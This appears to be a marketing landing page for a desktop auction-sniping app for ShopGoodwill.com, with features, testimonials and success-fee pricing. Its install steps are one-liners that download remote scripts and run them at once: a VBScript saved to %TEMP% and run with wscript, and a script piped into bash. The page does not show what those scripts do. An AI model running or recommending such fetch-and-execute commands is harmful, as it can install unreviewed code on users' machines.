Automatically place winning bids on ShopGoodwill.com auctions at the last second — win more auctions at the lowest possible price. Pay only when you win.
Download & Start SnipingPay Only When You Win • Windows, Mac & Linux
ShopGoodwill Sniper is a desktop app for Windows, Mac & Linux. No upfront cost — you pay only when you win an auction.
We've automatically detected your operating system — select yours below.
Run this command in Windows Command Prompt:
curl -fsSL https://shopgoodwillsniper.com/download/install-shopgoodwill-sniper.vbs -o "%TEMP%\sg.vbs" && wscript "%TEMP%\sg.vbs"
Windows 10 or higher • 64-bit
Run this command in your Mac Terminal:
curl -fsSL https://shopgoodwillsniper.com/download/install-shopgoodwill-sniper.sh | bash
macOS 11 Big Sur or higher • Intel & Apple Silicon
Run this in your Linux terminal:
curl -fsSL https://shopgoodwillsniper.com/download/install-shopgoodwill-sniper.sh | bash
Bid Fire Precision
Bid Engine
Auction Timing
Bid Delivery
Every technical advantage is tuned specifically for ShopGoodwill.com's auction system.
The sniper places your bid at the last second — late enough that other bidders have no time to react and counter, but early enough to guarantee it goes through before time runs out.
The sniper stays precisely synchronized with ShopGoodwill's auction timing at all times — so every bid fires exactly when it needs to, not a moment early or late.
Before the auction ends, the sniper engine completes all preparation in advance. When it's time to fire, your bid goes out instantly — no hesitation, no delays.
The sniper engine operates at extremely high precision, catching the exact firing window for every queued auction without missing a beat.
Set a fixed maximum bid for precise control, or use Auto-Max to let the engine automatically calculate the optimal bid amount for each item. Never bid more than you need to.
Queue multiple auctions from different listings at once. The My Snipes drawer shows live countdown timers, item photos, bid amounts, and status badges for every queued and past auction — all in one panel.
The moment a bid fires you hear a snipe sound. Win — you hear a cheer. Outbid — a loss tone. Instant audio feedback without ever having to look at the screen, even when the window is minimized.
While the sniper engine is active, ShopGoodwill Sniper prevents your OS from sleeping or hibernating. Step away, let the screen turn off — but your computer stays awake and every bid fires on schedule.
Your ShopGoodwill session runs in a completely isolated browser partition inside ShopGoodwill Sniper. Your account credentials and cookies are never shared with other websites or your regular browser profile.
Download ShopGoodwill Sniper for your OS using the commands above
Sign in to your account, then log into ShopGoodwill.com inside the built-in browser
Browse to any ShopGoodwill auction page and click "Snipe My Bid" — set your max bid amount and confirm
The engine fires your bid automatically at the optimal moment. You hear the result immediately via audio alert
Trusted by resellers, collectors, and deal hunters across the country.
"I resell vintage goods I find on ShopGoodwill. Before the sniper I was losing to other bidders at the last second constantly. Now I'm the one winning at the last second. I've won 23 of my last 27 auctions. This is an absolute game changer."
— Jessica T., Vintage Reseller
"I tried a web-based sniper before but it missed bids a few times. ShopGoodwill Sniper is a desktop app so it fires bids way more reliably. The precision clock sync is no joke — it hits the exact last second every time."
— Marcus D., Thrift Flipper
"The audio alerts are so satisfying. I queue my snipes in the morning and just listen for the win sound throughout the day. My win rate went from about 40% to over 80%. The fact that you only pay a small fee when you actually win is brilliant."
— Danielle R., Goodwill Collector
"Setting it up took less than 2 minutes. I watched the tutorial, ran the install command, logged in, and queued my first snipe. Won the item. Easiest piece of software I've ever used."
— Kevin M., eBay Seller
"Auto-Max bid mode is brilliant. I set it and forget it. The sniper calculates exactly what to bid — I never overpay and I'm winning way more often than I was manually bidding at the last second."
— Sandra L., Antique Dealer
"I was skeptical about downloading software but the session isolation really put me at ease. My ShopGoodwill login stays inside the app — nothing goes to any external server. Totally private and it works flawlessly."
— Tom H., Electronics Flipper
Pay only when you win. No upfront cost.
A small success fee is charged only on auctions you win. If you don't win, you pay nothing.
Success fee • No monthly fee
Success fee • Monthly plan
Success fee is a percentage of your winning bid amount, charged only on auctions you win.
See how ShopGoodwill Sniper stacks up against manual bidding and web-based services like ThriftSniper.
| Feature | ShopGoodwill Sniper | ThriftSniper | Manual Bidding |
|---|---|---|---|
| Pricing model | 2% success fee (1% with monthly plan) | Paid subscription | Free |
| Pay only when you win | |||
| Platform | Desktop app (Win / Mac / Linux) | Web-based | Any browser |
| Clock synchronization | |||
| Pre-warmed connections | |||
| No server dependency | |||
| Auto-Max bid mode | |||
| Credentials stay on your device | |||
| Win / loss audio alerts |
* Comparison based on publicly available information as of 2026. Features subject to change.